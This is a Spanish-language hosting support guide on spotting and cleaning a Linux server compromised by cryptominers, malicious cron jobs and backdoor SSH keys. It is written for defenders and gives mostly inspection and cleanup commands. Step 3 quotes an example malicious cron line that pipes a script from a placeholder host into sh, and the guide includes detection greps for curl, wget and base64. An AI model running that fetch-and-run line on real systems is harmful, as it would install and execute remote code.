¿Servidor Linux hackeado? Eliminar mineros, cron maliciosos y claves SSH de puerta trasera

Un servidor que de repente funciona al 100% de CPU, envía tráfico que usted no sabe explicar o provoca una queja por abuso ha sido comprometido en muchísimos casos. En Linux, la carga maliciosa habitual es un minero de criptomonedas (xmrig, kdevtmpfsi, kinsing e innumerables copias renombradas) que se mantiene activo mediante tareas cron, servicios systemd y una clave SSH del atacante. Esta guía explica cómo confirmar una intrusión, localizar los procesos maliciosos y todos los puntos de persistencia, limpiar el servidor y cerrar el agujero por el que entró el atacante.

Señales típicas de un servidor comprometido

• El uso de CPU se mantiene cerca del 100% incluso cuando su sitio web o su aplicación están inactivos.
• Procesos desconocidos con nombres aleatorios, o procesos que se ejecutan desde /tmp, /var/tmp o /dev/shm.
• Mucho tráfico saliente, escaneos SSH salientes o conexiones a IPs desconocidas en puertos como 3333, 4444, 5555, 7777 o 14444 (puertos habituales de los pools de minería).
• Tareas cron, servicios systemd o claves SSH nuevos que usted no añadió.
• Un aviso de abuso de su proveedor por escaneo de puertos, intentos de fuerza bruta o spam enviado desde su IP.

Paso 1: Encontrar procesos con un uso de CPU inusual

Liste los procesos que más consumen y compruebe dónde se encuentran realmente sus ejecutables. El malware suele disfrazarse con un nombre de apariencia inofensiva, como [kworker] o systemd-helper, pero su binario está en un directorio temporal o ya se ha borrado del disco.

# Top CPU consumers
ps aux --sort=-%cpu | head -15

# For a suspicious PID: real binary path, full command line and working directory
ls -l /proc/12345/exe
tr '\0' ' ' < /proc/12345/cmdline; echo
ls -l /proc/12345/cwd

# Processes whose binary has been deleted from disk (a classic malware trick)
ls -l /proc/*/exe 2>/dev/null | grep '(deleted)'

# Processes started from temporary directories
ls -l /proc/*/exe 2>/dev/null | grep -E '/tmp/|/var/tmp/|/dev/shm/'

Algunos mineros se detienen en cuanto usted abre top, o se ocultan de ps mediante una biblioteca precargada (consulte el paso 3). Si la carga media (load average) sigue alta mientras top no muestra nada ocupado, dé por hecho que algo se está ocultando.

Paso 2: Revisar las conexiones de red

Los mineros necesitan comunicarse con un pool, y los bots, con su servidor de control. Busque conexiones salientes establecidas que sus aplicaciones nunca harían.

# All TCP/UDP sockets with the owning process
ss -tunap

# Only established outbound connections
ss -tnp state established

# Connections to common mining pool ports
ss -tnp | grep -E ':(3333|4444|5555|7777|14444|45700)\b'

# Live view of which hosts use bandwidth (apt/dnf install iftop)
iftop -nP

Paso 3: Encontrar todos los puntos de persistencia

Matar el proceso no sirve de nada si una tarea cron lo vuelve a descargar un minuto después. Revise todas las ubicaciones siguientes.

# Cron jobs for every user
for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u "$u" 2>/dev/null | sed "s/^/[$u] /"; done
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /var/spool/cron* 2>/dev/null

# Systemd services and timers changed in the last 14 days
find /etc/systemd /lib/systemd /usr/lib/systemd -type f -mtime -14 2>/dev/null
systemctl list-timers --all

# Library preloading: hides processes and files from ps/ls (should normally be empty or absent)
cat /etc/ld.so.preload 2>/dev/null

# Startup scripts and shell profiles
cat /etc/rc.local 2>/dev/null
ls -la /etc/profile.d/
grep -nE 'curl|wget|base64|/tmp/|/dev/shm' /root/.bashrc /root/.profile /etc/profile /etc/bash.bashrc 2>/dev/null

Una línea cron maliciosa típica tiene el aspecto de */5 * * * * curl -fsSL http://x.x.x.x/a.sh | sh o ejecuta un comando codificado en base64. Todo lo que no haya creado usted mismo es sospechoso.

Paso 4: Revisar usuarios, claves SSH e historial de inicios de sesión

# Accounts with UID 0 (only root should be listed)
awk -F: '$3 == 0 {print $1}' /etc/passwd

# Accounts that can log in with a shell
grep -vE 'nologin|false$' /etc/passwd

# Every authorized_keys file on the system
find / -xdev -name authorized_keys 2>/dev/null -exec sh -c 'echo "== $1"; cat "$1"' _ {} \;

# Recent successful and failed logins
last -a | head -20
lastb -a 2>/dev/null | head -20
journalctl -u ssh -u sshd --since "7 days ago" | grep -E 'Accepted|Failed' | tail -30

Elimine cualquier clave que no reconozca. Los inicios de sesión correctos desde IPs extranjeras que usted nunca ha usado son un claro indicio de que se ha filtrado una contraseña o una clave.

Paso 5: Buscar archivos modificados recientemente y archivos ocultos

# Files changed in the last 3 days outside virtual filesystems
find / -xdev -type f -mtime -3 \
  -not -path '/proc/*' -not -path '/sys/*' -not -path '/var/log/*' \
  -not -path '/var/lib/docker/*' 2>/dev/null | head -100

# Contents of temporary directories, including hidden files
ls -la /tmp /var/tmp /dev/shm

# Files made immutable so you cannot delete them
lsattr -a /tmp /var/tmp /usr/bin /usr/local/bin 2>/dev/null | grep -- '-i-'

# Verify that system binaries were not replaced
debsums -c 2>/dev/null      # Debian/Ubuntu (apt install debsums)
rpm -Va 2>/dev/null | grep '^..5'   # Rocky/AlmaLinux: files whose checksum changed

Paso 6: Limpiar el servidor

Siga este orden para que el malware no pueda volver a arrancar mientras limpia: primero elimine la persistencia, después mate los procesos y, por último, borre los archivos.

# 1. Remove persistence: edit the crontabs, delete malicious files in /etc/cron.d,
#    then stop and disable unknown services
crontab -e
systemctl disable --now suspicious.service
rm -f /etc/systemd/system/suspicious.service && systemctl daemon-reload

# 2. Empty a malicious preload file
> /etc/ld.so.preload

# 3. Kill the processes
kill -9 12345

# 4. Remove the immutable flag, then delete the files
chattr -i -a /tmp/.x/miner
rm -rf /tmp/.x

# 5. Remove unknown SSH keys and accounts
nano /root/.ssh/authorized_keys
userdel -r unknownuser

Después, cambie la contraseña de root y todas las contraseñas de las aplicaciones (bases de datos, paneles, administradores del CMS), genere nuevas claves SSH y actualice el sistema con apt update && apt upgrade o dnf upgrade. Para tener una segunda opinión, ejecute un escáner como rkhunter --check o chkrootkit; pueden dar falsos positivos, así que lea las advertencias con atención.

Paso 7: Cerrar la vía de entrada

La mayoría de las infecciones que vemos entran por una de unas pocas puertas. Corrija la que corresponda a su caso o el servidor volverá a infectarse en cuestión de horas.

• Contraseñas SSH débiles: pase al inicio de sesión con clave y desactive la autenticación por contraseña (consulte inicio de sesión SSH con clave), y añada Fail2ban.
• Servicios expuestos a internet sin contraseña: Redis (6379), la API de Docker (2375), MongoDB (27017) y Elasticsearch (9200) se escanean constantemente. Vincúlelos a 127.0.0.1 o bloquéelos con el firewall.
• Aplicaciones web y plugins desactualizados: actualice el CMS, sus plugins y el panel del servidor, y elimine los sitios que ya no use.
• Claves filtradas: una clave privada SSH o una contraseña del panel reutilizada en otro sitio. Cámbielas todas.

Preguntas frecuentes

¿Por qué la CPU vuelve a la normalidad cuando ejecuto top y después vuelve a subir?

Muchos mineros vigilan si hay herramientas de monitorización en ejecución y se detienen mientras lo están. Compruebe en su lugar uptime o el gráfico de CPU de su panel de control, y siga los pasos 3 a 5 para encontrar la persistencia aunque el proceso no sea visible.

¿Debo limpiar el servidor o reinstalarlo?

Si el atacante tuvo acceso root, reinstalar es la opción más segura: haga una copia de seguridad de los archivos del sitio web y de las bases de datos, reinstale el sistema operativo, refuerce primero su seguridad y luego restaure los datos. La limpieza in situ es aceptable para un minero sencillo cuando ha encontrado y eliminado todos los puntos de persistencia y la causa raíz.

Mi servidor está enviando ataques y he recibido un ticket por abuso. ¿Qué debo hacer?

Responda al ticket, desconecte el servicio infectado o limpie el servidor de inmediato, y cuéntenos qué encontró y qué corrigió. Los ataques salientes perjudican a otras redes y a la reputación de su IP, por lo que es importante actuar con rapidez.

¿Sigue sin resolverlo después de seguir estos pasos? Abra un ticket de soporte y el equipo técnico de IMIDC, disponible 24/7, le ayudará. Incluya la IP del servidor, la versión del sistema operativo, el proceso o archivo sospechoso que encontró y la salida de los comandos anteriores para que podamos localizar el problema más rápido.